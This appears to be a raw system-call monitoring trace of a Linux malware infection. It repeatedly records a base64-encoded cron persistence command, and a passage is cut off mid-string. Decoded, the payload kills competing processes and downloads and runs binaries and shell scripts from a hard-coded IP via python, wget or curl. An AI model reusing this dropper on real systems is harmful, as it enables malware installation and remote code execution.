\"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x35f] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [iicu][PID:0x360] do_filp_open. Filename: \"/bin/sh\
  • /root/ksno hemr
  • sh -c /root/wfxt folv
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [sh][PID:0x360] vfs_read. File: \"/lib/x86_64-linux-gnu/ld-2.19.so\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x36c] do_execve. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x34f] [sh][PID:0x361] filp_close. File: \"/etc/crontab\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x357] [sh][PID:0x370] filp_close. File: \"pipe:[12223]\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [keyd][PPID:0x2f1] [keyd][PID:0x376] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [systemd][PPID:0x1] [iicu][PID:0x2c9] do_fork_exit. ret: 0x37
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [iicu][PID:0x378] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [sh][PID:0x378] vfs_read. File: \"/lib/x86_64-linux-gnu/ld-2.19.so\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x37f] do_execve. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [iicu][PID:0x380] do_filp_open. Filename: \"/bin/sh\
  • /root/wfxt folv
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [sh][PID:0x36c] vfs_getattr. path: \"/tmp\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [keyd][PPID:0x2f1] [keyd][PID:0x38b] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x35e] [sh][PID:0x388] vfs_read. File: \"/usr/bin/crontab\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [keyd][PPID:0x2f1] [sh][PID:0x37e] do_filp_open. Filename: \"/lib/x86_64-linux-gnu/libc.so.6\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBo